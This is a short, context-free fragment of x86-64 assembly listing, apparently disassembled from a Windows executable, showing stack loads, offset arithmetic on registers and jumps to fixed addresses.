add r15, 0x14
mov ebx, dword [rsp + 0x88]
mov r14, qword [rsp + 0x80]
jmp 0x14000c3de
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r8
add rcx, r12
jmp 0x14000c4f2
mov rbp, qword [rsp + 0x98]
jmp 0x14000c43b